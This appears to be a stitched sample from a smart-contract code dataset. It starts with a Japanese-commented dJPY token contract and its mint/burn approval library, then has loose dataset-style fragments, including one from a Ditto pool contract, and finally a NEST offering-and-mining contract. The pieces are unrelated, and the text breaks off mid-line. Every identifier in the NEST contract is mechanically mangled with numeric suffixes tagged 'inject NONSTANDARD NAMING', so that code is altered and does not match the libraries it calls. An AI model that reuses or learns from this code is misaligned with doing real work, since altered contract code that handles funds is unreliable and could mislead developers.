isAuthorized(address src, bytes4 sig) internal view returns (bool) { sig; // #HACK return src == address(this) || src == owner || src == address(_token); } } // import './lib/ProposalLibrary.sol'; /** * * 承認プロセスの実装ライブラリ * IkuraTokenに実装するとサイズ超過してしまうため、ライブラリとして切り出している * * 今のところギリギリおさまっているので使ってはいない */ library ProposalLibrary { // // structs // // tokenのstorage/associationを参照するための構造体 struct Entity { IkuraStorage _storage; IkuraAssociation _association; } /** * 永続化ストレージを設定する * * @param self 実行Entity * @param storage_ 永続化ストレージのインスタンス(アドレス) */ function changeStorage(Entity storage self, address storage_) internal { self._storage = IkuraStorage(storage_); } /** * 関連づける承認プロセスを変更する * * @param self 実行Entity * @param association_ 新しい承認プロセス */ function changeAssociation(Entity storage self, address association_) internal { self._association = IkuraAssociation(association_); } /** * dJPYを鋳造する * * - コマンドを実行したユーザがオーナーである * - 鋳造する量が0より大きい * * 場合は成功する * * @param self 実行Entity * @param sender 実行アドレス * @param amount 鋳造する金額 */ function mint(Entity storage self, address sender, uint amount) public returns (bool) { require(amount > 0); self._association.newProposal(keccak256('mint'), sender, amount, ''); return true; } /** * dJPYを消却する * * - コマンドを実行したユーザがオーナーである * - 鋳造する量が0より大きい * - dJPYの残高がamountよりも大きい * - SHINJIをamountよりも大きい * * 場合は成功する * * @param self 実行Entity * @param sender 実行アドレス * @param amount 消却する金額 */ function burn(Entity storage self, address sender, uint amount) public returns (bool) { require(amount > 0); require(self._storage.coinBalance(sender) >= amount); require(self._storage.tokenBalance(sender) >= amount); self._association.newProposal(keccak256('burn'), sender, amount, ''); return true; } /** * 提案を承認する。 * #TODO proposalIdは分からないので、別のものからproposalを特定しないといかんよ * * @param self 実行Entity * @param sender 実行アドレス * @param type_ 承認する提案の種類 * @param proposalId 提案ID */ function confirmProposal(Entity storage self, address sender, bytes32 type_, uint proposalId) public { self._association.confirmProposal(type_, sender, proposalId); } /** * 指定した種類の提案数を取得する * * @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate') * * @return 提案数(承認されていないものも含む) */ function numberOfProposals(Entity storage self, bytes32 type_) public view returns (uint) { return self._association.numberOfProposals(type_); } } /** * * トークンロジック * */ contract IkuraToken is IkuraTokenEvent, DSMath, DSAuth { // // constants // // 手数料率 // 0.01pips = 1 // 例). 手数料を 0.05% とする場合は 500 uint _transferFeeRate = 0; // 最低手数料額 // 1 = 1dJPY // amount * 手数料率で算出した金額がここで設定した最低手数料を下回る場合は、最低手数料額を手数料とする uint8 _transferMinimumFee = 0; // ロジックバージョン uint _logicVersion = 2; // // libraries // /*using ProposalLibrary for ProposalLibrary.Entity; ProposalLibrary.Entity proposalEntity;*/ // // private // // データの永続化ストレージ IkuraStorage _storage; IkuraAssociation _association; constructor() DSAuth() public { // @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを //省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます // 勿論テストは通らなくなるので、テストが通ったら試してね /*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188; owner = controllerAddress; LogSetOwner(controllerAddress);*/ } // ---------------------------------------------------------------------------------------------------- // 以降はERC20に準拠した関数 // ---------------------------------------------------------------------------------------------------- /** * ERC20 Token Standardに準拠した関数 * * dJPYの発行高を返す * * @return 発行高 */ function totalSupply(address sender) public view returns (uint) { sender; // #HACK return _storage.totalSupply(); } /** * ERC20 Token Standardに準拠した関数 * * 特定のアドレスのdJPY残高を返す * * @param sender 実行アドレス * @param addr アドレス * * @return 指定したアドレスのdJPY残高 */ function balanceOf(address sender, address addr) public view returns (uint) { sender; // #HACK return _storage.coinBalance(addr); } /** * ERC20 Token Standardに準拠した関数 * * 指定したアドレスに対してdJPYを送金する * 以下の条件を満たす必要がある * * - メッセージの送信者の残高 >= 送金額 * - 送金額 > 0 * - 送金先のアドレスの残高 + 送金額 > 送金元のアドレスの残高(overflowのチェックらしい) * * @param sender 送金元アドレス * @param to 送金対象アドレス * @param amount 送金額 * * @return 条件を満たして処理に成功した場合はtrue、失敗した場合はfalse */ function transfer(address sender, address to, uint amount) public auth returns (bool success) { uint fee = transferFee(sender, sender, to, amount); uint totalAmount = add(amount, fee); require(_storage.coinBalance(sender) >= totalAmount); require(amount > 0); // 実行者の口座からamount + feeの金額が控除される _storage.subCoinBalance(sender, totalAmount); // toの口座にamountが振り込まれる _storage.addCoinBalance(to, amount); if (fee > 0) { // 手数料を受け取るオーナーのアドレスを選定 address owner = selectOwnerAddressForTransactionFee(sender); // オーナーの口座にfeeが振り込まれる _storage.addCoinBalance(owner, fee); } return true; } /** * ERC20 Token Standardに準拠した関数 * * from(送信元のアドレス)からto(送信先のアドレス)へamount分だけ送金する。 * 主に口座からの引き出しに利用され、契約によってサブ通貨の送金手数料を徴収することができるようになる。 * この操作はfrom(送信元のアドレス)が何らかの方法で意図的に送信者を許可する場合を除いて失敗すべき。 * この許可する処理はapproveコマンドで実装しましょう。 * * 以下の条件を満たす場合だけ送金を認める * * - 送信元の残高 >= 金額 * - 送金する金額 > 0 * - 送信者に対して送信元が許可している金額 >= 送金する金額 * - 送信先の残高 + 金額 > 送信元の残高(overflowのチェックらしい) # - 送金処理を行うユーザーの口座残高 >= 送金処理の手数料 * * @param sender 実行アドレス * @param from 送金元アドレス * @param to 送金先アドレス * @param amount 送金額 * * @return 条件を満たして処理に成功した場合はtrue、失敗した場合はfalse */ function transferFrom(address sender, address from, address to, uint amount) public auth returns (bool success) { uint fee = transferFee(sender, from, to, amount); require(_storage.coinBalance(from) >= amount); require(_storage.coinAllowance(from, sender) >= amount); require(amount > 0); require(add(_storage.coinBalance(to), amount) > _storage.coinBalance(to)); if (fee > 0) { require(_storage.coinBalance(sender) >= fee); // 手数料を受け取るオーナーのアドレスを選定 address owner = selectOwnerAddressForTransactionFee(sender); // 手数料はこの関数を実行したユーザー(主に取引所とか)から徴収する _storage.subCoinBalance(sender, fee); _storage.addCoinBalance(owner, fee); } // 送金元から送金額を引く _storage.subCoinBalance(from, amount); // 送金許可している金額を減らす _storage.subCoinAllowance(from, sender, amount); // 送金口座に送金額を足す _storage.addCoinBalance(to, amount); return true; } /** * ERC20 Token Standardに準拠した関数 * * spender(支払い元のアドレス)にsender(送信者)がamount分だけ支払うのを許可する * この関数が呼ばれる度に送金可能な金額を更新する。 * * @param sender 実行アドレス * @param spender 送金元アドレス * @param amount 送金額 * * @return 基本的にtrueを返す */ function approve(address sender, address spender, uint amount) public auth returns (bool success) { _storage.setCoinAllowance(sender, spender, amount); return true; } /** * ERC20 Token Standardに準拠した関数 * * 受取側に対して支払い側がどれだけ送金可能かを返す * * @param sender 実行アドレス * @param owner 受け取り側のアドレス * @param spender 支払い元のアドレス * * @return 許可されている送金料 */ function allowance(address sender, address owner, address spender) public view returns (uint remaining) { sender; // #HACK return _storage.coinAllowance(owner, spender); } // ---------------------------------------------------------------------------------------------------- // 以降はERC20以外の独自実装 // ---------------------------------------------------------------------------------------------------- /** * 特定のアドレスのSHINJI残高を返す * * @param sender 実行アドレス * @param owner アドレス * * @return 指定したアドレスのSHINJIトークン量 */ function tokenBalanceOf(address sender, address owner) public view returns (uint balance) { sender; // #HACK return _storage.tokenBalance(owner); } /** * 指定したアドレスに対してSHINJIトークンを送金する * * - 送信元の残トークン量 >= トークン量 * - 送信するトークン量 > 0 * - 送信先の残高 + 金額 > 送信元の残高(overflowのチェック) * * @param sender 実行アドレス * @param to 送金対象アドレス * @param amount 送金額 * * @return 条件を満たして処理に成功した場合はtrue、失敗した場合はfalse */ function transferToken(address sender, address to, uint amount) public auth returns (bool success) { require(_storage.tokenBalance(sender) >= amount); require(amount > 0); require(add(_storage.tokenBalance(to), amount) > _storage.tokenBalance(to)); _storage.subTokenBalance(sender, amount); _storage.addTokenBalance(to, amount); emit IkuraTransferToken(sender, to, amount); return true; } /** * 送金元、送金先、送金金額によって対象のトランザクションの手数料を決定する * 送金金額に対して手数料率をかけたものを計算し、最低手数料金額とのmax値を取る。 * * @param sender 実行アドレス * @param from 送金元 * @param to 送金先 * @param amount 送金金額 * * @return 手数料金額 */ function transferFee(address sender, address from, address to, uint amount) public view returns (uint) { sender; from; to; // #avoid warning if (_transferFeeRate > 0) { uint denominator = 1000000; // 0.01 pips だから 100 * 100 * 100 で 100万 uint numerator = mul(amount, _transferFeeRate); uint fee = numerator / denominator; uint remainder = sub(numerator, mul(denominator, fee)); // 余りがある場合はfeeに1を足す if (remainder > 0) { fee++; } if (fee < _transferMinimumFee) { fee = _transferMinimumFee; } return fee; } else { return 0; } } /** * 手数料率を返す * * @param sender 実行アドレス * * @return 手数料率 */ function transferFeeRate(address sender) public view returns (uint) { sender; // #HACK return _transferFeeRate; } /** * 最低手数料額を返す * * @param sender 実行アドレス * * @return 最低手数料額 */ function transferMinimumFee(address sender) public view returns (uint8) { sender; // #HACK return _transferMinimumFee; } /** * 手数料を振り込む口座を選択する * #TODO とりあえず一個目のオーナーに固定。後で選定ロジックを変える * * @param sender 実行アドレス * @return 特定のオーナー口座 */ function selectOwnerAddressForTransactionFee(address sender) public view returns (address) { sender; // #HACK return _storage.primaryOwner(); } /** * dJPYを鋳造する * * - コマンドを実行したユーザがオーナーである * - 鋳造する量が0より大きい * * 場合は成功する * * @param sender 実行アドレス * @param amount 鋳造する金額 */ function mint(address sender, uint amount) public auth returns (bool) { require(amount > 0); _association.newProposal(keccak256('mint'), sender, amount, ''); return true; /*return proposalEntity.mint(sender, amount);*/ } /** * dJPYを消却する * * - コマンドを実行したユーザがオーナーである * - 鋳造する量が0より大きい * - dJPYの残高がamountよりも大きい * - SHINJIをamountよりも大きい * * 場合は成功する * * @param sender 実行アドレス * @param amount 消却する金額 */ function burn(address sender, uint amount) public auth returns (bool) { require(amount > 0); require(_storage.coinBalance(sender) >= amount); require(_storage.tokenBalance(sender) >= amount); _association.newProposal(keccak256('burn'), sender, amount, ''); return true; /*return proposalEntity.burn(sender, amount);*/ } /** * 提案を承認する。 * #TODO proposalIdは分からないので、別のものからproposalを特定しないといかんよ */ function confirmProposal(address sender, bytes32 type_, uint proposalId) public auth { _association.confirmProposal(type_, sender, proposalId); /*proposalEntity.confirmProposal(sender, type_, proposalId);*/ } /** * 指定した種類の提案数を取得する * * @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate') * * @return 提案数(承認されていないものも含む) */ function numberOfProposals(bytes32 type_) public view returns (uint) { return _association.numberOfProposals(type_); /*return proposalEntity.numberOfProposals(type_);*/ } /** * 関連づける承認プロセスを変更する * * @param association_ 新しい承認プロセス */ function changeAssociation(address association_) public auth returns (bool) { _association = IkuraAssociation(association_); return true; } /** * 永続化ストレージを設定する * * @param storage_ 永続化ストレージのインスタンス(アドレス) */ function changeStorage(address storage_) public auth returns (bool) { _storage = IkuraStorage(storage_); return true; } /** * ロジックのバージョンを返す * * @param sender 実行ユーザーのアドレス * * @return バージョン情報 */ function logicVersion(address sender) public view returns (uint) { sender; // #HACK return _logicVersion; } }
指定した種類の提案数を取得する type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate') return 提案数(承認されていないものも含む)/
function numberOfProposals(bytes32 type_) public view returns (uint) { return _association.numberOfProposals(type_);
12,708,245
./full_match/1/0xE292B17018189aDAc3321E95494520F35859b9df/sources/contracts/pool/DittoPoolMain.sol
@inheritdoc OwnerTwoStep
function owner() public view virtual override(IOwnerTwoStep, OwnerTwoStep) returns (address) { if(_isPrivatePool) { return _lpNft.ownerOf(_privatePoolOwnerLpId); } return OwnerTwoStep.owner(); }
16,496,947
pragma solidity 0.6.0; contract Nest_NToken_OfferMain { using SafeMath for uint256; using address_make_payable for address; using SafeERC20 for ERC20; // Offering data structure struct Nest_NToken_OfferPriceData { // The unique identifier is determined by the position of the offer in the array, and is converted to each other through a fixed algorithm (toindex(), toaddress()) address owner; // Offering owner bool deviate; // Whether it deviates address tokenAddress; // The erc20 contract address of the target offer token uint256 ethAmount; // The ETH amount in the offer list uint256 tokenAmount; // The token amount in the offer list uint256 dealEthAmount; // The remaining number of tradable ETH uint256 dealTokenAmount; // The remaining number of tradable tokens uint256 blockNum; // The block number where the offer is located uint256 serviceCharge; // The fee for mining // Determine whether the asset has been collected by judging that ethamount, tokenamount, and servicecharge are all 0 } Nest_NToken_OfferPriceData [] _prices; // Array used to save offers Nest_3_VoteFactory _voteFactory; // Voting contract Nest_3_OfferPrice _offerPrice; // Price contract Nest_NToken_TokenMapping _tokenMapping; // NToken mapping contract ERC20 _nestToken; // nestToken Nest_3_Abonus _abonus; // Bonus pool uint256 _miningETH = 10; // Offering mining fee ratio uint256 _tranEth = 1; // Taker fee ratio uint256 _tranAddition = 2; // Additional transaction multiple uint256 _leastEth = 10 ether; // Minimum offer of ETH uint256 _offerSpan = 10 ether; // ETH Offering span uint256 _deviate = 10; // Price deviation - 10% uint256 _deviationFromScale = 10; // Deviation from asset scale uint256 _ownerMining = 5; // Creator ratio uint256 _afterMiningAmount = 0.4 ether; // Stable period mining amount uint32 _blockLimit = 25; // Block interval upper limit uint256 _blockAttenuation = 2400000; // Block decay interval mapping(uint256 => mapping(address => uint256)) _blockOfferAmount; // Block offer times - block number=>token address=>offer fee mapping(uint256 => mapping(address => uint256)) _blockMining; // Offering block mining amount - block number=>token address=>mining amount uint256[10] _attenuationAmount; // Mining decay list // Log token contract address event OFFERTOKENCONTRACTADDRESS732(address contractAddress); //inject NONSTANDARD NAMING // Log offering contract, token address, amount of ETH, amount of ERC20, delayed block, mining fee event OFFERCONTRACTADDRESS317(address contractAddress, address tokenAddress, uint256 ethAmount, uint256 erc20Amount, uint256 continued,uint256 mining); //inject NONSTANDARD NAMING // Log transaction sender, transaction token, transaction amount, purchase token address, purchase token amount, transaction offering contract address, transaction user address event OFFERTRAN368(address tranSender, address tranToken, uint256 tranAmount,address otherToken, uint256 otherAmount, address tradedContract, address tradedOwner); //inject NONSTANDARD NAMING // Log current block, current block mined amount, token address event OREDRAWINGLOG324(uint256 nowBlock, uint256 blockAmount, address tokenAddress); //inject NONSTANDARD NAMING // Log offering block, token address, token offered times event MININGLOG206(uint256 blockNum, address tokenAddress, uint256 offerTimes); //inject NONSTANDARD NAMING constructor (address voteFactory) public { Nest_3_VoteFactory voteFactoryMap = Nest_3_VoteFactory(address(voteFactory)); _voteFactory = voteFactoryMap; _offerPrice = Nest_3_OfferPrice(address(voteFactoryMap.CHECKADDRESS430("nest.v3.offerPrice"))); _nestToken = ERC20(voteFactoryMap.CHECKADDRESS430("nest")); _abonus = Nest_3_Abonus(voteFactoryMap.CHECKADDRESS430("nest.v3.abonus")); _tokenMapping = Nest_NToken_TokenMapping(address(voteFactoryMap.CHECKADDRESS430("nest.nToken.tokenMapping"))); uint256 blockAmount = 4 ether; for (uint256 i = 0; i < 10; i ++) { _attenuationAmount[i] = blockAmount; blockAmount = blockAmount.MUL982(8).DIV757(10); } } function CHANGEMAPPING259(address voteFactory) public ONLYOWNER202 { //inject NONSTANDARD NAMING Nest_3_VoteFactory voteFactoryMap = Nest_3_VoteFactory(address(voteFactory)); _voteFactory = voteFactoryMap; _offerPrice = Nest_3_OfferPrice(address(voteFactoryMap.CHECKADDRESS430("nest.v3.offerPrice"))); _nestToken = ERC20(voteFactoryMap.CHECKADDRESS430("nest")); _abonus = Nest_3_Abonus(voteFactoryMap.CHECKADDRESS430("nest.v3.abonus")); _tokenMapping = Nest_NToken_TokenMapping(address(voteFactoryMap.CHECKADDRESS430("nest.nToken.tokenMapping"))); } function OFFER735(uint256 ethAmount, uint256 erc20Amount, address erc20Address) public payable { //inject NONSTANDARD NAMING require(address(msg.sender) == address(tx.origin), "It can't be a contract"); address nTokenAddress = _tokenMapping.CHECKTOKENMAPPING799(erc20Address); require(nTokenAddress != address(0x0)); // Judge whether the price deviates uint256 ethMining; bool isDeviate = COMPARATIVEPRICE616(ethAmount,erc20Amount,erc20Address); if (isDeviate) { require(ethAmount >= _leastEth.MUL982(_deviationFromScale), "EthAmount needs to be no less than 10 times of the minimum scale"); ethMining = _leastEth.MUL982(_miningETH).DIV757(1000); } else { ethMining = ethAmount.MUL982(_miningETH).DIV757(1000); } require(msg.value >= ethAmount.ADD379(ethMining), "msg.value needs to be equal to the quoted eth quantity plus Mining handling fee"); uint256 subValue = msg.value.SUB918(ethAmount.ADD379(ethMining)); if (subValue > 0) { REPAYETH964(address(msg.sender), subValue); } // Create an offer CREATEOFFER725(ethAmount, erc20Amount, erc20Address,isDeviate, ethMining); // Transfer in offer asset - erc20 to this contract ERC20(erc20Address).SAFETRANSFERFROM181(address(msg.sender), address(this), erc20Amount); _abonus.SWITCHTOETHFORNTOKENOFFER869.value(ethMining)(nTokenAddress); // Mining if (_blockOfferAmount[block.number][erc20Address] == 0) { uint256 miningAmount = OREDRAWING657(nTokenAddress); Nest_NToken nToken = Nest_NToken(nTokenAddress); nToken.TRANSFER16(nToken.CHECKBIDDER306(), miningAmount.MUL982(_ownerMining).DIV757(100)); _blockMining[block.number][erc20Address] = miningAmount.SUB918(miningAmount.MUL982(_ownerMining).DIV757(100)); } _blockOfferAmount[block.number][erc20Address] = _blockOfferAmount[block.number][erc20Address].ADD379(ethMining); } function CREATEOFFER725(uint256 ethAmount, uint256 erc20Amount, address erc20Address, bool isDeviate, uint256 mining) private { //inject NONSTANDARD NAMING // Check offer conditions require(ethAmount >= _leastEth, "Eth scale is smaller than the minimum scale"); require(ethAmount % _offerSpan == 0, "Non compliant asset span"); require(erc20Amount % (ethAmount.DIV757(_offerSpan)) == 0, "Asset quantity is not divided"); require(erc20Amount > 0); // Create offering contract emit OFFERCONTRACTADDRESS317(TOADDRESS719(_prices.length), address(erc20Address), ethAmount, erc20Amount,_blockLimit,mining); _prices.push(Nest_NToken_OfferPriceData( msg.sender, isDeviate, erc20Address, ethAmount, erc20Amount, ethAmount, erc20Amount, block.number, mining )); // Record price _offerPrice.ADDPRICE894(ethAmount, erc20Amount, block.number.ADD379(_blockLimit), erc20Address, address(msg.sender)); } // Convert offer address into index in offer array function TOINDEX783(address contractAddress) public pure returns(uint256) { //inject NONSTANDARD NAMING return uint256(contractAddress); } // Convert index in offer array into offer address function TOADDRESS719(uint256 index) public pure returns(address) { //inject NONSTANDARD NAMING return address(index); } function TURNOUT418(address contractAddress) public { //inject NONSTANDARD NAMING require(address(msg.sender) == address(tx.origin), "It can't be a contract"); uint256 index = TOINDEX783(contractAddress); Nest_NToken_OfferPriceData storage offerPriceData = _prices[index]; require(CHECKCONTRACTSTATE995(offerPriceData.blockNum) == 1, "Offer status error"); // Withdraw ETH if (offerPriceData.ethAmount > 0) { uint256 payEth = offerPriceData.ethAmount; offerPriceData.ethAmount = 0; REPAYETH964(offerPriceData.owner, payEth); } // Withdraw erc20 if (offerPriceData.tokenAmount > 0) { uint256 payErc = offerPriceData.tokenAmount; offerPriceData.tokenAmount = 0; ERC20(address(offerPriceData.tokenAddress)).TRANSFER16(offerPriceData.owner, payErc); } // Mining settlement if (offerPriceData.serviceCharge > 0) { MINING254(offerPriceData.blockNum, offerPriceData.tokenAddress, offerPriceData.serviceCharge, offerPriceData.owner); offerPriceData.serviceCharge = 0; } } function SENDETHBUYERC123(uint256 ethAmount, uint256 tokenAmount, address contractAddress, uint256 tranEthAmount, uint256 tranTokenAmount, address tranTokenAddress) public payable { //inject NONSTANDARD NAMING require(address(msg.sender) == address(tx.origin), "It can't be a contract"); uint256 serviceCharge = tranEthAmount.MUL982(_tranEth).DIV757(1000); require(msg.value == ethAmount.ADD379(tranEthAmount).ADD379(serviceCharge), "msg.value needs to be equal to the quotation eth quantity plus transaction eth plus"); require(tranEthAmount % _offerSpan == 0, "Transaction size does not meet asset span"); // Get the offer data structure uint256 index = TOINDEX783(contractAddress); Nest_NToken_OfferPriceData memory offerPriceData = _prices[index]; // Check the price, compare the current offer to the last effective price bool thisDeviate = COMPARATIVEPRICE616(ethAmount,tokenAmount,tranTokenAddress); bool isDeviate; if (offerPriceData.deviate == true) { isDeviate = true; } else { isDeviate = thisDeviate; } // Limit the taker order only be twice the amount of the offer to prevent large-amount attacks if (offerPriceData.deviate) { // The taker order deviates x2 require(ethAmount >= tranEthAmount.MUL982(_tranAddition), "EthAmount needs to be no less than 2 times of transaction scale"); } else { if (isDeviate) { // If the taken offer is normal and the taker order deviates x10 require(ethAmount >= tranEthAmount.MUL982(_deviationFromScale), "EthAmount needs to be no less than 10 times of transaction scale"); } else { // If the taken offer is normal and the taker order is normal x2 require(ethAmount >= tranEthAmount.MUL982(_tranAddition), "EthAmount needs to be no less than 2 times of transaction scale"); } } // Check whether the conditions for taker order are satisfied require(CHECKCONTRACTSTATE995(offerPriceData.blockNum) == 0, "Offer status error"); require(offerPriceData.dealEthAmount >= tranEthAmount, "Insufficient trading eth"); require(offerPriceData.dealTokenAmount >= tranTokenAmount, "Insufficient trading token"); require(offerPriceData.tokenAddress == tranTokenAddress, "Wrong token address"); require(tranTokenAmount == offerPriceData.dealTokenAmount * tranEthAmount / offerPriceData.dealEthAmount, "Wrong token amount"); // Update the offer information offerPriceData.ethAmount = offerPriceData.ethAmount.ADD379(tranEthAmount); offerPriceData.tokenAmount = offerPriceData.tokenAmount.SUB918(tranTokenAmount); offerPriceData.dealEthAmount = offerPriceData.dealEthAmount.SUB918(tranEthAmount); offerPriceData.dealTokenAmount = offerPriceData.dealTokenAmount.SUB918(tranTokenAmount); _prices[index] = offerPriceData; // Create a new offer CREATEOFFER725(ethAmount, tokenAmount, tranTokenAddress, isDeviate, 0); // Transfer in erc20 + offer asset to this contract if (tokenAmount > tranTokenAmount) { ERC20(tranTokenAddress).SAFETRANSFERFROM181(address(msg.sender), address(this), tokenAmount.SUB918(tranTokenAmount)); } else { ERC20(tranTokenAddress).SAFETRANSFER797(address(msg.sender), tranTokenAmount.SUB918(tokenAmount)); } // Modify price _offerPrice.CHANGEPRICE820(tranEthAmount, tranTokenAmount, tranTokenAddress, offerPriceData.blockNum.ADD379(_blockLimit)); emit OFFERTRAN368(address(msg.sender), address(0x0), tranEthAmount, address(tranTokenAddress), tranTokenAmount, contractAddress, offerPriceData.owner); // Transfer fee if (serviceCharge > 0) { address nTokenAddress = _tokenMapping.CHECKTOKENMAPPING799(tranTokenAddress); _abonus.SWITCHTOETH95.value(serviceCharge)(nTokenAddress); } } function SENDERCBUYETH398(uint256 ethAmount, uint256 tokenAmount, address contractAddress, uint256 tranEthAmount, uint256 tranTokenAmount, address tranTokenAddress) public payable { //inject NONSTANDARD NAMING require(address(msg.sender) == address(tx.origin), "It can't be a contract"); uint256 serviceCharge = tranEthAmount.MUL982(_tranEth).DIV757(1000); require(msg.value == ethAmount.SUB918(tranEthAmount).ADD379(serviceCharge), "msg.value needs to be equal to the quoted eth quantity plus transaction handling fee"); require(tranEthAmount % _offerSpan == 0, "Transaction size does not meet asset span"); // Get the offer data structure uint256 index = TOINDEX783(contractAddress); Nest_NToken_OfferPriceData memory offerPriceData = _prices[index]; // Check the price, compare the current offer to the last effective price bool thisDeviate = COMPARATIVEPRICE616(ethAmount,tokenAmount,tranTokenAddress); bool isDeviate; if (offerPriceData.deviate == true) { isDeviate = true; } else { isDeviate = thisDeviate; } // Limit the taker order only be twice the amount of the offer to prevent large-amount attacks if (offerPriceData.deviate) { // The taker order deviates x2 require(ethAmount >= tranEthAmount.MUL982(_tranAddition), "EthAmount needs to be no less than 2 times of transaction scale"); } else { if (isDeviate) { // If the taken offer is normal and the taker order deviates x10 require(ethAmount >= tranEthAmount.MUL982(_deviationFromScale), "EthAmount needs to be no less than 10 times of transaction scale"); } else { // If the taken offer is normal and the taker order is normal x2 require(ethAmount >= tranEthAmount.MUL982(_tranAddition), "EthAmount needs to be no less than 2 times of transaction scale"); } } // Check whether the conditions for taker order are satisfied require(CHECKCONTRACTSTATE995(offerPriceData.blockNum) == 0, "Offer status error"); require(offerPriceData.dealEthAmount >= tranEthAmount, "Insufficient trading eth"); require(offerPriceData.dealTokenAmount >= tranTokenAmount, "Insufficient trading token"); require(offerPriceData.tokenAddress == tranTokenAddress, "Wrong token address"); require(tranTokenAmount == offerPriceData.dealTokenAmount * tranEthAmount / offerPriceData.dealEthAmount, "Wrong token amount"); // Update the offer information offerPriceData.ethAmount = offerPriceData.ethAmount.SUB918(tranEthAmount); offerPriceData.tokenAmount = offerPriceData.tokenAmount.ADD379(tranTokenAmount); offerPriceData.dealEthAmount = offerPriceData.dealEthAmount.SUB918(tranEthAmount); offerPriceData.dealTokenAmount = offerPriceData.dealTokenAmount.SUB918(tranTokenAmount); _prices[index] = offerPriceData; // Create a new offer CREATEOFFER725(ethAmount, tokenAmount, tranTokenAddress, isDeviate, 0); // Transfer in erc20 + offer asset to this contract ERC20(tranTokenAddress).SAFETRANSFERFROM181(address(msg.sender), address(this), tranTokenAmount.ADD379(tokenAmount)); // Modify price _offerPrice.CHANGEPRICE820(tranEthAmount, tranTokenAmount, tranTokenAddress, offerPriceData.blockNum.ADD379(_blockLimit)); emit OFFERTRAN368(address(msg.sender), address(tranTokenAddress), tranTokenAmount, address(0x0), tranEthAmount, contractAddress, offerPriceData.owner); // Transfer fee if (serviceCharge > 0) { address nTokenAddress = _tokenMapping.CHECKTOKENMAPPING799(tranTokenAddress); _abonus.SWITCHTOETH95.value(serviceCharge)(nTokenAddress); } } function OREDRAWING657(address ntoken) private returns(uint256) { //inject NONSTANDARD NAMING Nest_NToken miningToken = Nest_NToken(ntoken); (uint256 createBlock, uint256 recentlyUsedBlock) = miningToken.CHECKBLOCKINFO350(); uint256 attenuationPointNow = block.number.SUB918(createBlock).DIV757(_blockAttenuation); uint256 miningAmount = 0; uint256 attenuation; if (attenuationPointNow > 9) { attenuation = _afterMiningAmount; } else { attenuation = _attenuationAmount[attenuationPointNow]; } miningAmount = attenuation.MUL982(block.number.SUB918(recentlyUsedBlock)); miningToken.INCREASETOTAL78(miningAmount); emit OREDRAWINGLOG324(block.number, miningAmount, ntoken); return miningAmount; } function MINING254(uint256 blockNum, address token, uint256 serviceCharge, address owner) private returns(uint256) { //inject NONSTANDARD NAMING // Block mining amount*offer fee/block offer fee uint256 miningAmount = _blockMining[blockNum][token].MUL982(serviceCharge).DIV757(_blockOfferAmount[blockNum][token]); // Transfer NToken Nest_NToken nToken = Nest_NToken(address(_tokenMapping.CHECKTOKENMAPPING799(token))); require(nToken.TRANSFER16(address(owner), miningAmount), "Transfer failure"); emit MININGLOG206(blockNum, token,_blockOfferAmount[blockNum][token]); return miningAmount; } // Compare order prices function COMPARATIVEPRICE616(uint256 myEthValue, uint256 myTokenValue, address token) private view returns(bool) { //inject NONSTANDARD NAMING (uint256 frontEthValue, uint256 frontTokenValue) = _offerPrice.UPDATEANDCHECKPRICEPRIVATE349(token); if (frontEthValue == 0 || frontTokenValue == 0) { return false; } uint256 maxTokenAmount = myEthValue.MUL982(frontTokenValue).MUL982(uint256(100).ADD379(_deviate)).DIV757(frontEthValue.MUL982(100)); if (myTokenValue <= maxTokenAmount) { uint256 minTokenAmount = myEthValue.MUL982(frontTokenValue).MUL982(uint256(100).SUB918(_deviate)).DIV757(frontEthValue.MUL982(100)); if (myTokenValue >= minTokenAmount) { return false; } } return true; } // Check contract status function CHECKCONTRACTSTATE995(uint256 createBlock) public view returns (uint256) { //inject NONSTANDARD NAMING if (block.number.SUB918(createBlock) > _blockLimit) { return 1; } return 0; } // Transfer ETH function REPAYETH964(address accountAddress, uint256 asset) private { //inject NONSTANDARD NAMING address payable addr = accountAddress.MAKE_PAYABLE861(); addr.transfer(asset); } // View the upper limit of the block interval function CHECKBLOCKLIMIT652() public view returns(uint256) { //inject NONSTANDARD NAMING return _blockLimit; } // View taker fee ratio function CHECKTRANETH271() public view returns (uint256) { //inject NONSTANDARD NAMING return _tranEth; } // View additional transaction multiple function CHECKTRANADDITION123() public view returns(uint256) { //inject NONSTANDARD NAMING return _tranAddition; } // View minimum offering ETH function CHECKLEASTETH415() public view returns(uint256) { //inject NONSTANDARD NAMING return _leastEth; } // View offering ETH span function CHECKOFFERSPAN954() public view returns(uint256) { //inject NONSTANDARD NAMING return _offerSpan; } // View block offering amount function CHECKBLOCKOFFERAMOUNT357(uint256 blockNum, address token) public view returns (uint256) { //inject NONSTANDARD NAMING return _blockOfferAmount[blockNum][token]; } // View offering block mining amount function CHECKBLOCKMINING594(uint256 blockNum, address token) public view returns (uint256) { //inject NONSTANDARD NAMING return _blockMining[blockNum][token]; } // View offering mining amount function CHECKOFFERMINING245(uint256 blockNum, address token, uint256 serviceCharge) public view returns (uint256) { //inject NONSTANDARD NAMING if (serviceCharge == 0) { return 0; } else { return _blockMining[blockNum][token].MUL982(serviceCharge).DIV757(_blockOfferAmount[blockNum][token]); } } // View the owner allocation ratio function CHECKOWNERMINING462() public view returns(uint256) { //inject NONSTANDARD NAMING return _ownerMining; } // View the mining decay function CHECKATTENUATIONAMOUNT848(uint256 num) public view returns(uint256) { //inject NONSTANDARD NAMING return _attenuationAmount[num]; } // Modify taker order fee ratio function CHANGETRANETH866(uint256 num) public ONLYOWNER202 { //inject NONSTANDARD NAMING _tranEth = num; } // Modify block interval upper limit function CHANGEBLOCKLIMIT22(uint32 num) public ONLYOWNER202 { //inject NONSTANDARD NAMING _blockLimit = num; } // Modify additional transaction multiple function CHANGETRANADDITION884(uint256 num) public ONLYOWNER202 { //inject NONSTANDARD NAMING require(num > 0, "Parameter needs to be greater than 0"); _tranAddition = num; } // Modify minimum offering ETH function CHANGELEASTETH405(uint256 num) public ONLYOWNER202 { //inject NONSTANDARD NAMING require(num > 0, "Parameter needs to be greater than 0"); _leastEth = num; } // Modify offering ETH span function CHANGEOFFERSPAN492(uint256 num) public ONLYOWNER202 { //inject NONSTANDARD NAMING require(num > 0, "Parameter 